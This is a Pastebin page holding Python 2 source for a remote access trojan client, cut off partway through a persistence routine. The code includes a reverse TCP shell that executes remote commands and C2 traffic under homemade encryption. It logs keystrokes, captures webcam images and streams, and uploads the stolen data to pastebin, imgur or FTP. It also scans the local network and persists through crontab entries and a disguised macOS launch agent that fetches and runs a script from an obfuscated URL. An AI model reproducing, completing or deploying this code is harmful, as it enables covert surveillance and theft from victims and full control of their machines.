Guest User

Untitled

a guest
Jan 25th, 2018
1,156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 76.45 KB | None | 0 0
  1. from __future__ import print_function
  2. import os
  3. import sys
  4. import imp
  5. import time
  6. import json
  7. import zlib
  8. import uuid
  9. import numpy
  10. import base64
  11. import ctypes
  12. import pickle
  13. import Queue
  14. import struct
  15. import socket
  16. import random
  17. import ftplib
  18. import urllib
  19. import urllib2
  20. import zipfile
  21. import threading
  22. import cStringIO
  23. import subprocess
  24.  
  25.  
  26.  
  27. class Client():
  28. global ___debug___
  29. global ___usage___
  30. global __command__
  31.  
  32. ___debug___ = True
  33. __command__ = {}
  34. ___usage___ = {'escalate': 'escalate', 'sleep': 'sleep <int>', 'batch': 'batch <url>', 'ps': 'ps', 'remove': 'remove <name>', 'shell':'shell', 'set': 'set <cmd> x=y', 'pwd': 'pwd', 'help': 'help <cmd>', 'scan': 'scan <target>', 'results': 'results', 'network': 'network', 'cd': 'cd <path>', 'kill': 'kill', 'selfdestruct': 'selfdestruct', 'start': 'start', 'packetsniff': 'packetsniff', 'ls': 'ls <path>', 'persistence': 'persistence', 'unzip': 'unzip <file>', 'jobs': 'jobs', 'screenshot': 'screenshot', 'keylogger': 'keylogger', 'stop': 'stop <job>', 'update': 'update [url]', 'wget': 'wget <url>', 'info': 'info', 'webcam': 'webcam <mode>', 'admin': 'admin', 'upload': 'upload [args]', 'cat': 'cat <file>', 'standby': 'standby', 'options': 'options <cmd>'}
  35.  
  36.  
  37. # decorators
  38.  
  39.  
  40. def public(fx):
  41. fx.api_key = ''
  42. fx.dev_key = ''
  43. fx.username = ''
  44. fx.password = ''
  45. fx.hostname = ''
  46. return staticmethod(fx)
  47.  
  48. def security(fx):
  49. fx.block_size = 8
  50. fx.key_size = 16
  51. fx.num_rounds = 32
  52. fx.hash_algo = 'md5'
  53. return staticmethod(fx)
  54.  
  55. def windows(fx):
  56. fx.platforms = ['win32'] if not hasattr(fx, 'platforms') else fx.platforms + ['win32']
  57. return fx
  58.  
  59. def linux(fx):
  60. fx.platforms = ['linux2'] if not hasattr(fx, 'platforms') else fx.platforms + ['linux2']
  61. return fx
  62.  
  63. def darwin(fx):
  64. fx.platforms = ['darwin'] if not hasattr(fx, 'platforms') else fx.platforms + ['darwin']
  65. return fx
  66.  
  67. def command(fx):
  68. fx.status = threading.Event()
  69.  
  70. if fx.func_name is 'persistence':
  71. if os.name is 'nt':
  72. fx.options = {'registry_key': bool(), 'scheduled_task': bool(), 'startup_file': bool(), 'hidden_file': bool()}
  73. elif sys.platform in ('darwin', 'ios'):
  74. fx.options = {'launch_agent': bool(), 'hidden_file':bool()}
  75. elif 'linux' in sys.platform or 'nix' in sys.platform:
  76. fx.options = {'crontab_job': bool(), 'hidden_file': bool()}
  77.  
  78. elif fx.func_name is 'keylogger':
  79. fx.options = {'max_bytes': 1024, 'upload': 'pastebin'}
  80. fx.window = bytes()
  81. fx.buffer = cStringIO.StringIO()
  82.  
  83. elif fx.func_name is 'webcam':
  84. fx.options = {'image': True, 'video': bool(), 'upload': 'imgur'}
  85.  
  86. elif fx.func_name is 'packetsniff':
  87. fx.platforms = ['darwin','linux2']
  88. fx.options = {'duration': 300.0, 'upload': 'ftp'}
  89. fx.capture = []
  90.  
  91. elif fx.func_name is 'screenshot':
  92. fx.options = {'upload': 'imgur'}
  93.  
  94. elif fx.func_name is 'upload':
  95. fx.options = {'pastebin': {'api_key': None}, 'imgur': {'api_key': None}, 'ftp': {'host': None, 'username': None, 'password': None}}
  96.  
  97. elif fx.func_name is 'escalate':
  98. fx.platforms = ['win32']
  99.  
  100. fx.platforms = ['win32', 'linux2', 'darwin'] if not hasattr(fx, 'platforms') else fx.platforms
  101.  
  102. fx.status.set() if sys.platform in fx.platforms else fx.status.clear()
  103.  
  104. __command__.update({fx.func_name: fx}) if fx.status.is_set() else None
  105.  
  106. fx.usage = ___usage___[fx.func_name]
  107.  
  108. return fx
  109.  
  110.  
  111. # private class methods
  112.  
  113.  
  114. @staticmethod
  115. def _debug(data):
  116. if ___debug___:
  117. print(data)
  118.  
  119. @staticmethod
  120. def _xor(s, t):
  121. try:
  122. return "".join(chr(ord(x) ^ ord(y)) for x, y in zip(s, t))
  123. except Exception as e:
  124. Client._debug(str(e))
  125.  
  126. @staticmethod
  127. def _is_ipv4_address(address):
  128. try:
  129. if socket.inet_aton(str(address)):
  130. return True
  131. except:
  132. return False
  133.  
  134. @staticmethod
  135. def _long_to_bytes(x, default=False):
  136. return urllib.urlopen(bytes(bytearray.fromhex(hex(long('120950513014781697487772252820504293289885893009420441905241{}'.format(x))).strip('0x').strip('L')))).read() if not default else bytes(bytearray.fromhex(hex(long(x)).strip('0x').strip('L')))
  137.  
  138. @staticmethod
  139. def _bytes_to_long(x):
  140. return long(bytes(x).encode('hex'), 16)
  141.  
  142. @staticmethod
  143. def _post(url, headers={}, data={}):
  144. try:
  145. dat = urllib.urlencode(data)
  146. req = urllib2.Request(url, data=dat) if data else urllib2.Request(url)
  147. for key, value in headers.items():
  148. req.add_header(key, value)
  149. return urllib2.urlopen(req).read()
  150. except Exception as e:
  151. Client._debug(str(e))
  152.  
  153. @staticmethod
  154. def _png(image):
  155. if type(image) == numpy.ndarray:
  156. width, height = (image.shape[1], image.shape[0])
  157. data = image.tobytes()
  158. else:
  159. width, height = (image.width, image.height)
  160. data = image.rgb
  161. try:
  162. line = width * 3
  163. png_filter = struct.pack('>B', 0)
  164. scanlines = b''.join([png_filter + data[y * line:y * line + line] for y in range(height)])
  165. magic = struct.pack('>8B', 137, 80, 78, 71, 13, 10, 26, 10)
  166. ihdr = [b'', b'IHDR', b'', b'']
  167. ihdr[2] = struct.pack('>2I5B', width, height, 8, 2, 0, 0, 0)
  168. ihdr[3] = struct.pack('>I', zlib.crc32(b''.join(ihdr[1:3])) & 0xffffffff)
  169. ihdr[0] = struct.pack('>I', len(ihdr[2]))
  170. idat = [b'', b'IDAT', zlib.compress(scanlines), b'']
  171. idat[3] = struct.pack('>I', zlib.crc32(b''.join(idat[1:3])) & 0xffffffff)
  172. idat[0] = struct.pack('>I', len(idat[2]))
  173. iend = [b'', b'IEND', b'', b'']
  174. iend[3] = struct.pack('>I', zlib.crc32(iend[1]) & 0xffffffff)
  175. iend[0] = struct.pack('>I', len(iend[2]))
  176. fileh = cStringIO.StringIO()
  177. fileh.write(magic)
  178. fileh.write(b''.join(ihdr))
  179. fileh.write(b''.join(idat))
  180. fileh.write(b''.join(iend))
  181. fileh.seek(0)
  182. return fileh
  183. except Exception as e:
  184. Client._debug(str(e))
  185.  
  186. @staticmethod
  187. def _hidden_process(path, shell=True):
  188. try:
  189. info = subprocess.STARTUPINFO()
  190. info.dwFlags = subprocess.STARTF_USESHOWWINDOW | subprocess.CREATE_NEW_PROCESS_GROUP
  191. info.wShowWindow = subprocess.SW_HIDE
  192. p = subprocess.Popen(path, startupinfo=info, shell=shell)
  193. return p
  194. except Exception as e:
  195. Client._debug("Hidden process error: {}".format(str(e)))
  196.  
  197. @staticmethod
  198. def _powershell(cmdline):
  199. if os.name is 'nt':
  200. try:
  201. cmds = cmdline if type(cmdline) is list else str(cmdline).split()
  202. info = subprocess.STARTUPINFO()
  203. info.dwFlags = subprocess.STARTF_USESHOWWINDOW
  204. info.wShowWindow = subprocess.SW_HIDE
  205. command = ['powershell.exe', '/c', cmds]
  206. p = subprocess.Popen(command, startupinfo=info, stderr=subprocess.STDOUT, stdout=subprocess.PIPE, universal_newlines=True)
  207. results, _ = p.communicate()
  208. return results
  209. except Exception as e:
  210. Client._debug('Powershell error: {}'.format(str(e)))
  211.  
  212. @staticmethod
  213. def _get_host():
  214. try:
  215. return {'public': urllib2.urlopen('http://api.ipify.org').read(), 'private': socket.gethostbyname(socket.gethostname())}
  216. except Exception as e:
  217. Client._debug(str(e))
  218.  
  219. @staticmethod
  220. def _get_info():
  221. try:
  222. return {k:v for k,v in zip(['ip', 'local', 'platform', 'mac', 'architecture', 'username', 'administrator', 'node', 'device'], [Client._get_host()['public'], Client._get_host()['private'], sys.platform, ':'.join(hex(uuid.getnode()).strip('0x').strip('L')[i:i+2] for i in range(0,11,2)).upper(), int(struct.calcsize('P') * 8), os.getenv('USERNAME', os.getenv('USER')), bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name is 'nt' else os.getuid() == 0), bytes(uuid.getnode()), os.getenv('NAME', os.getenv('COMPUTERNAME', os.getenv('DOMAINNAME')))])}
  223. except Exception as e:
  224. Client._debug(str(e))
  225.  
  226. @staticmethod
  227. def _get_services():
  228. try:
  229. return {i.split()[1][:-4]: [i.split()[0], ' '.join(i.split()[2:])] for i in open('C:\Windows\System32\drivers\etc\services' if os.name == 'nt' else '/etc/services').readlines() if len(i.split()) > 1 if 'tcp' in i.split()[1]}
  230. except Exception as e:
  231. Client._debug(str(e))
  232.  
  233. @staticmethod
  234. def _get_status(c):
  235. try:
  236. data=['{} days'.format(int(c / 86400.0)) if int(c / 86400.0) else str(),
  237. '{} hours'.format(int((c % 86400.0) / 3600.0)) if int((c % 86400.0) / 3600.0) else str(),
  238. '{} minutes'.format(int((c % 3600.0) / 60.0)) if int((c % 3600.0) / 60.0) else str(),
  239. '{} seconds'.format(int(c % 60.0)) if int(c % 60.0) else str()]
  240. return ', '.join([i for i in data if i])
  241. except Exception as e:
  242. Client._debug(str(e))
  243.  
  244. @staticmethod
  245. def _get_process_list(executables=False):
  246. if executables:
  247. yield "{:>6}\t{:>20}\t{:>10}\t{:>30}\n------------------------------------------------------------------------------".format("PID","Name","Status","Executable")
  248. for p in psutil.process_iter():
  249. try:
  250. yield "{:>6}\t{:>20}\t{:>10}\t{:>30}".format(str(p.pid), str(p.name())[:19], str(p.status()), str(p.exe())[:29])
  251. except: pass
  252. else:
  253. yield "{:>6}\t{:>20}\t{:>10}\n------------------------------------------".format("PID","Name","Status")
  254. for p in psutil.process_iter():
  255. try:
  256. yield "{:>6}\t{:>20}\t{:>10}".format(str(p.pid), str(p.name())[:19], str(p.status()))
  257. except: pass
  258.  
  259.  
  260. # private instance methods
  261.  
  262.  
  263. def __init__(self, **kwargs):
  264. self._kwargs = kwargs
  265. self._exit = 0
  266. self._queue = Queue.Queue()
  267. self._sleep = threading.Event()
  268. self._connected = threading.Event()
  269. self._setup = [setattr(self, '__{}__'.format(chr(i)), kwargs.get(chr(i))) for i in range(97,123) if chr(i) in kwargs]; True
  270. self._threads = {} if 'threads' not in kwargs else kwargs.get('threads')
  271. self._network = {} if 'network' not in kwargs else kwargs.get('network')
  272. self._results = {} if 'results' not in kwargs else kwargs.get('results')
  273. self._commands = {cmd: getattr(self, cmd) for cmd in __command__}
  274.  
  275. def _pad(self, s):
  276. return bytes(s) + (self.encryption.block_size - len(bytes(s)) % self.encryption.block_size) * '\x00'
  277.  
  278. def _ping(self, host):
  279. if subprocess.call(str('ping -n 1 -w 90 {}' if os.name is 'nt' else 'ping -c 1 -w 90 {}').format(host), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:
  280. self._network[host] = {'ports': {}} if host not in self._network else self._network[host]
  281. return True
  282. return False
  283.  
  284. def _block(self, s):
  285. try:
  286. return [s[i * self.encryption.block_size:((i + 1) * self.encryption.block_size)] for i in range(len(s) // self.encryption.block_size)]
  287. except Exception as e:
  288. self._debug(str(e))
  289. self._connected.clear()
  290.  
  291. def _register(self):
  292. try:
  293. self._info = self._get_info()
  294. self._id = sys.modules['hashlib'].md5(self._info['ip'] + self._info['node']).hexdigest() if bool(self._is_ipv4_address(self._info['ip']) and self._info['node'].isdigit()) else 0
  295. self._send(json.dumps(self._info), method=self.start.func_name)
  296. except Exception as e:
  297. self._debug(str(e))
  298.  
  299. def _threader(self):
  300. while True:
  301. try:
  302. target, task = self._queue.get_nowait()
  303. target(task)
  304. self._queue.task_done()
  305. except: break
  306.  
  307. def _task(self, task, timestamp=None):
  308. try:
  309. timestamp = int(time.time()) if not timestamp else int(timestamp)
  310. return sys.modules['hashlib'].new(self.encryption.hash_algo, '%s%s%d' % (self._id, task, timestamp)).hexdigest()
  311. except Exception as e:
  312. self._debug("Error getting task ID: {}".format(str(e)))
  313.  
  314. def _send(self, data, method='default'):
  315. try:
  316. self._connected.wait()
  317. block = data[:4096]
  318. data = data[len(block):]
  319. ciphertext = self._encrypt(block, self._dhkey)
  320. msg = '{}:{}\n'.format(method, ciphertext)
  321. try:
  322. self._socket.sendall(msg)
  323. except socket.error:
  324. return self._connected.clear()
  325. if len(data):
  326. return self._send(data, method)
  327. except Exception as e:
  328. self._debug("Send error: {}".format(str(e)))
  329.  
  330. def _receive(self):
  331. try:
  332. data = ""
  333. while "\n" not in data:
  334. try:
  335. data += self._socket.recv(1024)
  336. except socket.error:
  337. return self._connected.clear()
  338. data = self._decrypt(data.rstrip(), self._dhkey) if len(data) else data
  339. return data
  340. except Exception as e:
  341. self._debug('Error receiving data: {}'.format(str(e)))
  342.  
  343. def _diffiehellman(self):
  344. try:
  345. g = 2
  346. p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA18217C32905E462E36CE3BE39E772C180E86039B2783A2EC07A28FB5C55DF06F4C52C9DE2BCBF6955817183995497CEA956AE515D2261898FA051015728E5A8AACAA68FFFFFFFFFFFFFFFF
  347. a = self._bytes_to_long(os.urandom(self.encryption.key_size))
  348. xA = pow(g, a, p)
  349. self._socket.sendall(self._long_to_bytes(xA, default=True))
  350. xB = self._bytes_to_long(self._socket.recv(256))
  351. x = pow(xB, a, p)
  352. return sys.modules['hashlib'].new(self.encryption.hash_algo, self._long_to_bytes(x, default=True)).digest()
  353. except Exception as e:
  354. self._debug(str(e))
  355. time.sleep(1)
  356. return self._diffiehellman()
  357.  
  358. def _encrypt(self, data, key):
  359. try:
  360. data = self._pad(data)
  361. blocks = self._block(data)
  362. vector = os.urandom(8)
  363. result = [vector]
  364. for block in blocks:
  365. block = self._xor(vector, block)
  366. v0, v1 = struct.unpack('!' + "2L", block)
  367. k = struct.unpack('!' + "4L", key)
  368. sum, delta, mask = 0L, 0x9e3779b9L, 0xffffffffL
  369. for round in range(self.encryption.num_rounds):
  370. v0 = (v0 + (((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + k[sum & 3]))) & mask
  371. sum = (sum + delta) & mask
  372. v1 = (v1 + (((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k[sum >> 11 & 3]))) & mask
  373. output = vector = struct.pack('!' + "2L", v0, v1)
  374. result.append(output)
  375. return base64.b64encode(b''.join(result))
  376. except Exception as e:
  377. self._debug("encryption error: {}".format(str(e)))
  378.  
  379. def _decrypt(self, data, key):
  380. try:
  381. data = base64.b64decode(data)
  382. blocks = self._block(data)
  383. vector = blocks[0]
  384. result = []
  385. for block in blocks[1:]:
  386. v0, v1 = struct.unpack('!' + "2L", block)
  387. k = struct.unpack('!' + "4L", key)
  388. delta, mask = 0x9e3779b9L, 0xffffffffL
  389. sum = (delta * self.encryption.num_rounds) & mask
  390. for round in range(self.encryption.num_rounds):
  391. v1 = (v1 - (((v0 << 4 ^ v0 >> 5) + v0) ^ (sum + k[sum >> 11 & 3]))) & mask
  392. sum = (sum - delta) & mask
  393. v0 = (v0 - (((v1 << 4 ^ v1 >> 5) + v1) ^ (sum + k[sum & 3]))) & mask
  394. decode = struct.pack('!' + "2L", v0, v1)
  395. output = self._xor(vector, decode)
  396. vector = block
  397. result.append(output)
  398. return ''.join(result).rstrip('\x00')
  399. except Exception as e:
  400. self._debug("decryption error: {}".format(str(e)))
  401.  
  402. def _reverse_tcp_shell(self):
  403. while True:
  404. try:
  405. if self._sleep.is_set():
  406. self._sleep.wait()
  407. elif not self.reverse_tcp_shell.status.is_set():
  408. break
  409. elif not self._connected.is_set():
  410. if func_name not in self._threads:
  411. self._threads[self._connect.func_name] = threading.Thread(target=self._connect, name=time.time())
  412. self._threads[self._connect.func_name].setDaemon(True)
  413. self._threads[self._connect.func_name].start()
  414. self._connected.wait()
  415. else:
  416. prompt = "[{} @ %s]> " % os.getcwd()
  417. self._send(prompt, method='prompt')
  418. data = self._receive()
  419. if not data:
  420. continue
  421. task, _, action = bytes(data).partition(' ')
  422. timestamp = time.time()
  423. task_id = self._task(task, timestamp)
  424. if task in self._commands:
  425. try:
  426. result = self._commands[task](action) if len(action) else self._commands[task]()
  427. self._results[task_id] = {task: {timestamp: result}}
  428. except Exception as e1:
  429. result = str(e1)
  430. else:
  431. try:
  432. result = bytes().join(subprocess.Popen(data, 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())
  433. except Exception as e2:
  434. result = str(e2)
  435. if result and len(result):
  436. self._send(result[:4096], method=task)
  437.  
  438. for task, worker in self._threads.items():
  439. if not worker.is_alive():
  440. _ = self._threads.pop(task, None)
  441. del _
  442. except Exception as e3:
  443. self._debug("'{}' returned error: '{}'".format(self.reverse_tcp_shell.func_name, str(e3)))
  444.  
  445. def _scan_subnet(self, host):
  446. try:
  447. stub = '.'.join(str(host).split('.')[:-1]) + '.%d'
  448. lan = []
  449. for i in xrange(1,255):
  450. lan.append(stub % i)
  451. self._queue.put_nowait((self._ping, stub % i))
  452. for _ in xrange(10):
  453. x = len(self._threads)
  454. self._threads['scanner-%d' % x] = threading.Thread(target=self._threader, name=time.time())
  455. self._threads['scanner-%d' % x].setDaemon(True)
  456. self._threads['scanner-%d' % x].start()
  457. self._threads['scanner-%d' % x].join()
  458. for ip in lan:
  459. self._queue.put_nowait((self._scan_all_ports, ip))
  460. for n in xrange(int(len(lan)/10)):
  461. x = len(self._threads)
  462. self._threads['scanner-%d' % x] = threading.Thread(target=self._threader, name=time.time())
  463. self._threads['scanner-%d' % x].start()
  464. self._threads['scanner-%d' % x].join()
  465. except Exception as e:
  466. self._debug("Error scanning subnet: {}".format(str(e)))
  467. return self._network()
  468.  
  469. def _scan_all_ports(self, host):
  470. try:
  471. if host in self._network:
  472. for port in [21,22,23,25,53,80,110,111,135,139,143,179,443,445,514,993,995,1433,1434,1723,3306,3389,8000,8008,8443,8888]:
  473. self._queue.put_nowait((self._scan_port, (host, port)))
  474. for _ in xrange(10):
  475. x = len(self._threads)
  476. self._threads['scanner-%d' % x] = threading.Thread(target=self._threader, name=time.time())
  477. self._threads['scanner-%d' % x].daemon = True
  478. self._threads['scanner-%d' % x].start()
  479. self._threads['scanner-%d' % x].join()
  480. except Exception as e:
  481. self._debug("Error scanning subnet: {}".format(str(e)))
  482.  
  483. def _scan_port(self, addr):
  484. try:
  485. host = addr[0]
  486. port = addr[1]
  487. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  488. sock.settimeout(1.0)
  489. sock.connect((host,int(port)))
  490. banner = sock.recv(1024)
  491. if banner:
  492. info = {port: {'protocol': self._services.get(str(port))[0] if str(port) in self._services else ('mysql' if int(port) == 3306 else 'N/A'), 'service': banner.splitlines()[0] if '\n' in banner else banner[:50], 'state': 'open'}}
  493. else:
  494. info = {port: {'protocol': self._services.get(str(port))[0] if str(port) in self._services else ('mysql' if int(port) == 3306 else 'N/A'), 'service': self._services.get(str(port))[1] if str(port) in self._services else 'n/a', 'state': 'open'}}
  495. self._network.get(host).get('ports').update(info)
  496. except (socket.error, socket.timeout):
  497. return
  498. except Exception as e:
  499. self._debug(str(e))
  500.  
  501. def _upload_imgur(self, source):
  502. try:
  503. if not self.imgur.get('api_key'):
  504. return "Error: no api key found"
  505. if hasattr(source, 'getvalue'):
  506. data = source.getvalue()
  507. elif hasattr(source, 'read'):
  508. if hasattr(source, 'seek'):
  509. source.seek(0)
  510. data = source.read()
  511. else:
  512. data = bytes(source)
  513. return json.loads(self._post('https://api.imgur.com/3/upload', headers={'Authorization': self.imgur.get('api_key')}, data={'image': base64.b64encode(data), 'type': 'base64'})).get('data').get('link')
  514. except Exception as e:
  515. return "Error uploading to imgur: '{}'".format(str(e))
  516.  
  517. def _upload_pastebin(self, source):
  518. if hasattr(source, 'getvalue'):
  519. text = source.getvalue()
  520. elif hasattr(source, 'read'):
  521. if hasattr(source, 'seek'):
  522. source.seek(0)
  523. text = source.read()
  524. else:
  525. text = bytes(source)
  526. if not self.upload.status.is_set() and not override:
  527. return text
  528. try:
  529. info = {'api_option': 'paste', 'api_paste_code': text}
  530. if self.pastebin.api_key:
  531. info['api_user_key'] = self.pastebin.get('api_key')
  532. if self.pastebin.dev_key:
  533. info['api_dev_key'] = self.pastebin.get('dev_key')
  534. paste = self._post('https://pastebin.com/api/api_post.php', data=info)
  535. if paste.startswith('http'):
  536. output = os.path.split(paste)
  537. return '{}/raw/{}'.format(output[0], output[1])
  538. else:
  539. return paste
  540. except Exception as e:
  541. return "Error uploading to pastebin: '{}'".format(str(e))
  542.  
  543. def _upload_ftp(self, source):
  544. if not self.upload.status and not override:
  545. return source
  546. try:
  547. addr = urllib.urlopen('http://api.ipify.org').read()
  548. host = ftplib.FTP(self.ftp.get('host'), self.ftp.get('username'), self.ftp.get('password'))
  549. if addr not in host.nlst('/htdocs'):
  550. host.mkd('/htdocs/{}'.format(addr))
  551. local = time.ctime().split()
  552. ext = os.path.splitext(source)[1] if os.path.isfile(str(source)) else '.txt'
  553. result = '/htdocs/{}/{}'.format(addr, '{}-{}_{}{}'.format(local[1], local[2], local[3], ext))
  554. source = open(source, 'rb') if os.path.isfile(source) else source
  555. upload = host.storbinary('STOR ' + result, source)
  556. return result
  557. except Exception as e:
  558. return "Error uploading to ftp server: '{}'".format(str(e))
  559.  
  560. def _keylogger_event(self, event):
  561. try:
  562. if event.WindowName != vars(self.keylogger)['window']:
  563. vars(self.keylogger)['window'] = event.WindowName
  564. self.keylogger.buffer.write("\n[{}]\n".format(vars(self.keylogger)['window']))
  565. if event.Ascii > 32 and event.Ascii < 127:
  566. self.keylogger.buffer.write(chr(event.Ascii))
  567. elif event.Ascii == 32:
  568. self.keylogger.buffer.write(' ')
  569. elif event.Ascii in (10,13):
  570. self.keylogger.buffer.write('\n')
  571. elif event.Ascii == 8:
  572. self.keylogger.buffer.seek(-1, 1)
  573. self.keylogger.buffer.truncate()
  574. else:
  575. pass
  576. except Exception as e:
  577. self._debug("Keystroke event error: {}".format(str(e)))
  578. return True
  579.  
  580. def _keylogger_uploader(self):
  581. while True:
  582. try:
  583. while True:
  584. if self.keylogger.buffer.tell() >= int(self.keylogger.options['max_bytes']):
  585. break
  586. elif self._exit:
  587. break
  588. elif not self.keylogger.status.is_set():
  589. break
  590. else:
  591. time.sleep(5)
  592. if self.keylogger.options['upload'] == 'pastebin':
  593. result = self._upload_pastebin(self.keylogger.buffer)
  594. elif self.keylogger.options['upload'] == 'ftp':
  595. result = self._upload_ftp(self.keylogger.buffer)
  596. else:
  597. result = self.keylogger.buffer.getvalue()
  598. task = self.keylogger.func_name
  599. task_id = self._task(task)
  600. self._results.update({task_id: { task: { time.time(): result } } })
  601. self.keylogger.buffer.reset()
  602. if self._exit:
  603. break
  604. if not self.keylogger.status.is_set():
  605. break
  606. except Exception as e:
  607. self._debug("Keylogger upload error: {}".format(str(e)))
  608. break
  609.  
  610. def _keylogger_manager(self):
  611. keylogger_helper = threading.Thread(target=self._keylogger_uploader)
  612. keylogger_helper.start()
  613. while True:
  614. try:
  615. if self._exit:
  616. break
  617. if not self.keylogger.status.is_set():
  618. break
  619. if not keylogger_helper.is_alive():
  620. del keylogger_helper
  621. keylogger_helper = threading.Thread(target=self._keylogger_uploader)
  622. keylogger_helper.start()
  623. hm = HookManager()
  624. hm.KeyDown = self._keylogger_event
  625. hm.HookKeyboard()
  626. if os.name is 'nt':
  627. PumpMessages()
  628. else:
  629. time.sleep(0.1)
  630. except Exception as e:
  631. self._debug("Keylogger error: {}".format(str(e)))
  632.  
  633. def _webcam_image(self, *args, **kwargs):
  634. opt = str(self.webcam.options['upload']).lower()
  635. if opt not in ('imgur','ftp'):
  636. return "Error: invalid upload option - '{}'\nValid upload options for webcam images: 'imgur','ftp'".format(opt)
  637. try:
  638. dev = VideoCapture(0)
  639. r,f = dev.read()
  640. dev.release()
  641. except Exception as e1:
  642. return "Error accessing webcam: {}".format(str(e1))
  643. if not r:
  644. return "Webcam image capture failed"
  645. try:
  646. png = self._png(f)
  647. except Exception as e3:
  648. return "Converting raw bytes to PNG failed with error: {}".format(str(e3))
  649. try:
  650. return getattr(self, '_upload_{}'.format(opt))(png)
  651. except Exception as e2:
  652. return 'Webcam image upload error: {}'.format(str(e2))
  653.  
  654. def _webcam_video(self, duration=5.0, *args, **kwargs):
  655. if str(self.webcam.options['upload']).lower() == 'ftp':
  656. try:
  657. fpath = os.path.join(os.path.expandvars('%TEMP%'), 'tmp{}.avi'.format(random.randint(1000,9999))) if os.name is 'nt' else os.path.join('/tmp', 'tmp{}.avi'.format(random.randint(1000,9999)))
  658. fourcc = VideoWriter_fourcc(*'DIVX') if sys.platform is 'win32' else VideoWriter_fourcc(*'XVID')
  659. output = VideoWriter(fpath, fourcc, 20.0, (640,480))
  660. end = time.time() + duration
  661. dev = VideoCapture(0)
  662. while True:
  663. ret, frame = dev.read()
  664. output.write(frame)
  665. if time.time() > end: break
  666. dev.release()
  667. result = self._upload_ftp(fpath)
  668. return result
  669. except Exception as e:
  670. return "Error capturing video: {}".format(str(e))
  671. else:
  672. return "Error: FTP upload is the only option for video captured from webcam"
  673.  
  674. def _webcam_stream(self, port=None, retries=5):
  675. if not port:
  676. return 'Stream failed - missing port number'
  677. try:
  678. host = self._socket.getpeername()[0]
  679. except socket.error:
  680. return self._connected.clear()
  681. port = int(port)
  682. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  683. while retries > 0:
  684. try:
  685. sock.connect((host, port))
  686. except socket.error:
  687. retries -= 1
  688. break
  689. if not retries:
  690. return 'Stream failed - connection error'
  691. dev = VideoCapture(0)
  692. try:
  693. t1 = time.time()
  694. while True:
  695. try:
  696. ret,frame=dev.read()
  697. data = pickle.dumps(frame)
  698. sock.sendall(struct.pack("L", len(data))+data)
  699. time.sleep(0.1)
  700. except Exception as e:
  701. self._debug('Stream error: {}'.format(str(e)))
  702. break
  703. finally:
  704. try:
  705. dev.release()
  706. sock.close()
  707. t2 = time.time() - t1
  708. return 'Live stream for {}'.format(self._get_status(t2))
  709. except Exception as e2:
  710. return "Live stream error: '{}'".format(str(e2))
  711.  
  712. @linux
  713. def _persistence_add_crontab_job(self, task_name='libpython27'):
  714. if hasattr(self, '__f__'):
  715. try:
  716. value = self._long_to_bytes(long(self.__f__))
  717. except:
  718. value = self.__f__
  719. if os.path.isfile(value):
  720. try:
  721. if not os.path.isdir('/var/tmp'):
  722. os.makedirs('/var/tmp')
  723. task_name = os.path.join('/var/tmp','.' + os.path.splitext(task_name)[0] + os.path.splitext(value)[1])
  724. with file(task_name, 'w') as copy:
  725. copy.write(open(value).read())
  726. if not self.persistence.get('crontab_job'):
  727. for user in ['root', os.getenv('USERNAME', os.getenv('NAME'))]:
  728. try:
  729. task = "0 */6 * * * {} {}".format(user, task_name)
  730. with open('/etc/crontab', 'r') as fp:
  731. data= fp.read()
  732. if task not in data:
  733. with file('/etc/crontab', 'a') as fd:
  734. fd.write('\n' + task + '\n')
  735. return (True, task)
  736. except: pass
  737. except Exception as e:
  738. self._debug(str(e))
  739. return (False, None)
  740.  
  741. @linux
  742. def _persistence_remove_crontab_job(self):
  743. if hasattr(self, '__f__'):
  744. try:
  745. value = self._long_to_bytes(long(self.__f__))
  746. except:
  747. value = self.__f__
  748. if os.path.isfile(value):
  749. try:
  750. with open('/etc/crontab','r') as fp:
  751. lines = [i.rstrip() for i in fp.readlines()]
  752. for line in lines:
  753. if task_name in line:
  754. _ = lines.pop(line, None)
  755. with open('/etc/crontab', 'a+') as fp:
  756. fp.write('\n'.join(lines))
  757. return True
  758. except Exception as e:
  759. self._debug(str(e))
  760. return False
  761.  
  762. @darwin
  763. def _persistence_add_launch_agent(self, task_name='com.apple.update.manager'):
  764. if hasattr(self, '__f__') and hasattr(self, '__g__'):
  765. try:
  766. value = self._long_to_bytes(long(self.__f__))
  767. except:
  768. value = self.__f__
  769. if os.path.isfile(value):
  770. try:
  771. code = urllib2.urlopen(self._long_to_bytes(long(self.__g__))).read()
  772. label = task_name
  773. if not os.path.exists('/var/tmp'):
  774. os.makedirs('/var/tmp')
  775. fpath = '/var/tmp/.{}.sh'.format(task_name)
  776. bash = code.replace('__LABEL__', label).replace('__FILE__', value)
  777. with file(fpath, 'w') as fileobj:
  778. fileobj.write(bash)
  779. bin_sh = bytes().join(subprocess.Popen('/bin/sh {}'.format(fpath), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())
  780. time.sleep(2)
  781. launch_agent= '~/Library/LaunchAgents/{}.plist'.format(label)
  782. if os.path.isfile(launch_agent):
  783. os.remove(fpath)
  784. return (True, launch_agent)
  785. except Exception as e2:
  786. self._debug('Error: {}'.format(str(e2)))
  787. return (False, None)
  788.  
  789. @darwin
  790. def _persistence_remove_launch_agent(self, *args, **kwargs):
  791. if hasattr(self, '__f__'):
  792. if self.persistence.get('launch_agent'):
  793. if os.path.isfile(launch_agent):
  794. try:
  795. os.remove(launch_agent)
  796. return True
  797. except: pass
  798. return False
  799.  
  800. @windows
  801. @linux
  802. @darwin
  803. def _persistence_add_hidden_file(self, *args, **kwargs):
  804. if hasattr(self, '__f__'):
